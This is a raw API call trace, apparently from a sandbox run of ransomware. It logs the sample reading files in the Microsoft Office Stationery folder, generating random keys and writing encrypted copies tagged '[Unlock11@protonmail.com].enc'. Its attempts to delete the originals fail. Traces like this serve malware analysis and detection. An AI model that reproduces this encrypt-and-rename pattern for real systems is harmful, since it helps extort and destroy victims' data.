RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x382ab08 [0123.648] GetCurrentThreadId () returned 0x9b0 [0123.648] GetLastError () returned 0x0 [0123.648] GetLastError () returned 0x0 [0123.648] GetLastError () returned 0x0 [0123.648] GetLastError () returned 0x0 [0123.648] GetCurrentThreadId () returned 0x9b0 [0123.648] GetLastError () returned 0x0 [0123.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ab08 | out: hHeap=0x2ad0000) returned 1 [0123.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0123.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0123.649] GetLastError () returned 0x0 [0123.649] GetLastError () returned 0x0 [0123.649] GetCurrentThreadId () returned 0x9b0 [0123.649] GetLastError () returned 0x0 [0123.649] GetLastError () returned 0x0 [0123.649] GetLastError () returned 0x0 [0123.649] GetCurrentThreadId () returned 0x9b0 [0123.649] GetLastError () returned 0x0 [0123.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.650] GetLastError () returned 0x0 [0123.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0123.651] CloseHandle (hObject=0x3ac) returned 1 [0123.651] GetLastError () returned 0x0 [0123.651] GetCurrentThreadId () returned 0x9b0 [0123.651] GetLastError () returned 0x0 [0123.651] GetLastError () returned 0x0 [0123.651] CloseHandle (hObject=0x39c) returned 1 [0123.651] GetLastError () returned 0x0 [0123.651] GetCurrentThreadId () returned 0x9b0 [0123.651] GetLastError () returned 0x0 [0123.652] GetLastError () returned 0x0 [0123.652] GetLastError () returned 0x0 [0123.652] GetLastError () returned 0x0 [0123.652] GetLastError () returned 0x0 [0123.652] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0 [0123.652] GetLastError () returned 0x5 [0123.652] GetCurrentThreadId () returned 0x9b0 [0123.652] GetLastError () returned 0x5 [0123.653] GetLastError () returned 0x5 [0123.653] GetLastError () returned 0x5 [0123.653] GetLastError () returned 0x5 [0123.653] LocalFree (hMem=0x1053cf0) returned 0x0 [0123.653] GetCurrentThreadId () returned 0x9b0 [0123.653] GetLastError () returned 0x5 [0123.653] GetLastError () returned 0x5 [0123.654] GetLastError () returned 0x5 [0123.654] GetLastError () returned 0x5 [0123.654] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", lpFilePart=0x9bada4*="OrangeCircles.jpg") returned 0x4b [0123.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0123.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0123.654] GetCurrentThreadId () returned 0x9b0 [0123.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead00 [0123.655] GetLastError () returned 0x0 [0123.655] GetLastError () returned 0x0 [0123.655] GetLastError () returned 0x0 [0123.655] GetLastError () returned 0x0 [0123.655] GetCurrentThreadId () returned 0x9b0 [0123.655] GetLastError () returned 0x0 [0123.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead00 | out: hHeap=0x2ad0000) returned 1 [0123.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac38 [0123.656] GetLastError () returned 0x0 [0123.656] GetLastError () returned 0x0 [0123.656] GetLastError () returned 0x0 [0123.656] GetLastError () returned 0x0 [0123.656] GetCurrentThreadId () returned 0x9b0 [0123.657] GetLastError () returned 0x0 [0123.657] GetCurrentThreadId () returned 0x9b0 [0123.657] GetLastError () returned 0x0 [0123.657] GetLastError () returned 0x0 [0123.657] GetLastError () returned 0x0 [0123.657] GetLastError () returned 0x0 [0123.657] GetCurrentThreadId () returned 0x9b0 [0123.658] GetLastError () returned 0x0 [0123.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac38 | out: hHeap=0x2ad0000) returned 1 [0123.658] GetLastError () returned 0x0 [0123.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0123.660] GetLastError () returned 0x0 [0123.660] GetLastError () returned 0x0 [0123.660] GetLastError () returned 0x0 [0123.661] GetCurrentThreadId () returned 0x9b0 [0123.661] GetLastError () returned 0x0 [0123.661] GetLastError () returned 0x0 [0123.661] GetLastError () returned 0x0 [0123.661] GetLastError () returned 0x0 [0123.661] GetLastError () returned 0x0 [0123.661] GetCurrentThreadId () returned 0x9b0 [0123.661] GetLastError () returned 0x0 [0123.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0123.661] GetLastError () returned 0x0 [0123.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.662] GetLastError () returned 0x0 [0123.662] GetLastError () returned 0x0 [0123.662] GetLastError () returned 0x0 [0123.662] GetCurrentThreadId () returned 0x9b0 [0123.662] GetLastError () returned 0x0 [0123.662] GetCurrentThreadId () returned 0x9b0 [0123.662] GetLastError () returned 0x0 [0123.662] GetLastError () returned 0x0 [0123.662] GetLastError () returned 0x0 [0123.662] GetLastError () returned 0x0 [0123.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0123.663] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed)) returned 1 [0123.663] GetLastError () returned 0x0 [0123.663] GetCurrentThreadId () returned 0x9b0 [0123.663] GetLastError () returned 0x0 [0123.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0123.663] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668aac | out: pbBuffer=0x3668aac) returned 1 [0123.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0123.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0123.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0123.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.664] GetCurrentThreadId () returned 0x9b0 [0123.664] GetLastError () returned 0x0 [0123.664] GetLastError () returned 0x0 [0123.664] GetLastError () returned 0x0 [0123.664] GetLastError () returned 0x0 [0123.664] GetCurrentThreadId () returned 0x9b0 [0123.664] GetLastError () returned 0x0 [0123.665] GetCurrentThreadId () returned 0x9b0 [0123.665] GetLastError () returned 0x0 [0123.665] GetCurrentThreadId () returned 0x9b0 [0123.665] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.665] GetFileType (hFile=0x39c) returned 0x1 [0123.665] GetCurrentThreadId () returned 0x9b0 [0123.665] GetLastError () returned 0x0 [0123.666] GetFileType (hFile=0x39c) returned 0x1 [0123.666] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.666] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.666] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.666] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.666] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.666] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.666] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.666] GetCurrentThreadId () returned 0x9b0 [0123.666] GetLastError () returned 0x0 [0123.666] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.667] GetFileType (hFile=0x3ac) returned 0x1 [0123.667] GetCurrentThreadId () returned 0x9b0 [0123.667] GetLastError () returned 0x0 [0123.667] GetFileType (hFile=0x3ac) returned 0x1 [0123.667] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.667] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.667] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.667] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.668] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.668] GetCurrentThreadId () returned 0x9b0 [0123.668] GetLastError () returned 0x0 [0123.668] GetCurrentThreadId () returned 0x9b0 [0123.668] GetLastError () returned 0x0 [0123.668] GetCurrentThreadId () returned 0x9b0 [0123.668] GetLastError () returned 0x0 [0123.670] GetCurrentThreadId () returned 0x9b0 [0123.670] GetLastError () returned 0x0 [0123.670] GetCurrentThreadId () returned 0x9b0 [0123.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1908) returned 0x35bc9f0 [0123.670] GetCurrentThreadId () returned 0x9b0 [0123.670] GetLastError () returned 0x0 [0123.671] GetCurrentThreadId () returned 0x9b0 [0123.671] GetLastError () returned 0x0 [0123.671] GetCurrentThreadId () returned 0x9b0 [0123.671] GetLastError () returned 0x0 [0123.672] CloseHandle (hObject=0x3ac) returned 1 [0123.672] GetCurrentThreadId () returned 0x9b0 [0123.672] GetLastError () returned 0x0 [0123.672] CloseHandle (hObject=0x39c) returned 1 [0123.672] GetCurrentThreadId () returned 0x9b0 [0123.672] GetLastError () returned 0x0 [0123.672] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0 [0123.672] GetLastError () returned 0x5 [0123.673] GetCurrentThreadId () returned 0x9b0 [0123.673] GetLastError () returned 0x5 [0123.673] GetCurrentThreadId () returned 0x9b0 [0123.673] GetLastError () returned 0x5 [0123.673] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", lpFilePart=0x9bada4*="Peacock.htm") returned 0x45 [0123.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0123.673] GetCurrentThreadId () returned 0x9b0 [0123.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0123.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0123.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0123.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac88 [0123.674] GetLastError () returned 0x0 [0123.674] GetLastError () returned 0x0 [0123.674] GetLastError () returned 0x0 [0123.674] GetLastError () returned 0x0 [0123.674] GetCurrentThreadId () returned 0x9b0 [0123.674] GetLastError () returned 0x0 [0123.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac88 | out: hHeap=0x2ad0000) returned 1 [0123.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eac88 [0123.674] GetCurrentThreadId () returned 0x9b0 [0123.674] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetCurrentThreadId () returned 0x9b0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetLastError () returned 0x0 [0123.675] GetCurrentThreadId () returned 0x9b0 [0123.675] GetLastError () returned 0x0 [0123.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eac88 | out: hHeap=0x2ad0000) returned 1 [0123.676] GetLastError () returned 0x0 [0123.676] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0123.676] GetLastError () returned 0x0 [0123.676] GetLastError () returned 0x0 [0123.676] GetLastError () returned 0x0 [0123.676] GetCurrentThreadId () returned 0x9b0 [0123.676] GetLastError () returned 0x0 [0123.676] GetCurrentThreadId () returned 0x9b0 [0123.676] GetLastError () returned 0x0 [0123.676] GetLastError () returned 0x0 [0123.677] GetLastError () returned 0x0 [0123.677] GetLastError () returned 0x0 [0123.677] GetCurrentThreadId () returned 0x9b0 [0123.677] GetLastError () returned 0x0 [0123.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0123.677] GetLastError () returned 0x0 [0123.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0123.677] GetLastError () returned 0x0 [0123.677] GetLastError () returned 0x0 [0123.677] GetLastError () returned 0x0 [0123.678] GetCurrentThreadId () returned 0x9b0 [0123.678] GetLastError () returned 0x0 [0123.678] GetLastError () returned 0x0 [0123.678] GetLastError () returned 0x0 [0123.678] GetLastError () returned 0x0 [0123.678] GetLastError () returned 0x0 [0123.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0123.678] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8)) returned 1 [0123.678] GetLastError () returned 0x0 [0123.678] GetCurrentThreadId () returned 0x9b0 [0123.679] GetLastError () returned 0x0 [0123.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0123.679] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0123.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0123.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0123.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0123.679] GetCurrentThreadId () returned 0x9b0 [0123.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.679] GetLastError () returned 0x0 [0123.679] GetLastError () returned 0x0 [0123.679] GetLastError () returned 0x0 [0123.680] GetLastError () returned 0x0 [0123.680] GetCurrentThreadId () returned 0x9b0 [0123.680] GetLastError () returned 0x0 [0123.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.680] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9e0 [0123.680] GetCurrentThreadId () returned 0x9b0 [0123.680] GetLastError () returned 0x0 [0123.680] GetLastError () returned 0x0 [0123.680] GetLastError () returned 0x0 [0123.680] GetLastError () returned 0x0 [0123.681] GetCurrentThreadId () returned 0x9b0 [0123.681] GetLastError () returned 0x0 [0123.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea9e0 | out: hHeap=0x2ad0000) returned 1 [0123.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6ab8 [0123.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a54e8 | out: hHeap=0x2ad0000) returned 1 [0123.681] GetLastError () returned 0x0 [0123.681] GetLastError () returned 0x0 [0123.681] GetLastError () returned 0x0 [0123.681] GetLastError () returned 0x0 [0123.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.681] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ad8 [0123.682] GetLastError () returned 0x0 [0123.682] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0123.682] GetFileType (hFile=0x39c) returned 0x1 [0123.682] GetLastError () returned 0x0 [0123.682] GetCurrentThreadId () returned 0x9b0 [0123.682] GetLastError () returned 0x0 [0123.682] GetFileType (hFile=0x39c) returned 0x1 [0123.682] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.682] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.682] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.683] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.683] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.683] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.683] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.683] GetLastError () returned 0x0 [0123.683] GetCurrentThreadId () returned 0x9b0 [0123.683] GetLastError () returned 0x0 [0123.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ad8 | out: hHeap=0x2ad0000) returned 1 [0123.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0123.683] GetLastError () returned 0x0 [0123.683] GetLastError () returned 0x0 [0123.683] GetLastError () returned 0x0 [0123.684] GetLastError () returned 0x0 [0123.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6ae8 [0123.684] GetLastError () returned 0x0 [0123.684] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0123.684] GetFileType (hFile=0x3ac) returned 0x1 [0123.685] GetLastError () returned 0x0 [0123.685] GetCurrentThreadId () returned 0x9b0 [0123.685] GetLastError () returned 0x0 [0123.685] GetFileType (hFile=0x3ac) returned 0x1 [0123.685] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0123.685] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.685] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.685] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.685] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.685] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0123.685] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0123.685] GetLastError () returned 0x0 [0123.685] GetCurrentThreadId () returned 0x9b0 [0123.686] GetLastError () returned 0x0 [0123.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ae8 | out: hHeap=0x2ad0000) returned 1 [0123.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0123.686] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0123.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0123.686] GetLastError () returned 0x0 [0123.686] GetLastError () returned 0x0 [0123.686] GetCurrentThreadId () returned 0x9b0 [0123.686] GetLastError () returned 0x0 [0123.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0123.686] GetLastError () returned 0x0 [0123.687] GetLastError () returned 0x0 [0123.687] GetCurrentThreadId () returned 0x9b0 [0123.687] GetLastError () returned 0x0 [0123.687] GetLastError () returned 0x0 [0123.688] GetLastError () returned 0x0 [0123.688] GetCurrentThreadId () returned 0x9b0 [0123.688] GetLastError () returned 0x0 [0123.688] GetCurrentThreadId () returned 0x9b0 [0123.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ad8 [0123.688] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ab8 | out: hHeap=0x2ad0000) returned 1 [0123.688] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x108) returned 0x35bd738 [0123.688] GetLastError () returned 0x0 [0123.688] GetLastError () returned 0x0 [0123.689] GetLastError () returned 0x0 [0123.689] GetLastError () returned 0x0 [0123.689] GetCurrentThreadId () returned 0x9b0 [0123.689] GetLastError () returned 0x0 [0123.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bd738 | out: hHeap=0x2ad0000) returned 1 [0123.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0123.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0123.689] GetLastError () returned 0x0 [0123.689] GetLastError () returned 0x0 [0123.689] GetCurrentThreadId () returned 0x9b0 [0123.689] GetLastError () returned 0x0 [0123.690] GetLastError () returned 0x0 [0123.690] GetLastError () returned 0x0 [0123.690] GetCurrentThreadId () returned 0x9b0 [0123.690] GetLastError () returned 0x0 [0123.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8658 | out: hHeap=0x2ad0000) returned 1 [0123.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0123.690] GetLastError () returned 0x0 [0123.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0123.691] CloseHandle (hObject=0x3ac) returned 1 [0123.691] GetLastError () returned 0x0 [0123.691] GetCurrentThreadId () returned 0x9b0 [0123.691] GetLastError () returned 0x0 [0123.692] GetLastError () returned 0x0 [0123.692] CloseHandle (hObject=0x39c) returned 1 [0123.692] GetLastError () returned 0x0 [0123.692] GetCurrentThreadId () returned 0x9b0 [0123.692] GetLastError () returned 0x0 [0123.692] GetLastError () returned 0x0 [0123.692] GetLastError () returned 0x0 [0123.692] GetLastError () returned 0x0 [0123.692] GetLastError () returned 0x0 [0123.692] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0 [0123.693] GetLastError () returned 0x5 [0123.693] GetCurrentThreadId () returned 0x9b0 [0123.693] GetLastError () returned 0x5 [0123.693] GetLastError () returned 0x5 [0123.693] GetLastError () returned 0x5 [0123.693] GetLastError () returned 0x5 [0123.693] LocalFree (hMem=0x1053a70) returned 0x0 [0123.693] GetCurrentThreadId () returned 0x9b0 [0123.693] GetLastError () returned 0x5 [0123.693] GetLastError () returned 0x5 [0123.694] GetLastError () returned 0x5 [0123.694] GetLastError () returned 0x5 [0123.694] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", lpFilePart=0x9bada4*="Peacock.jpg") returned 0x45 [0123.694] 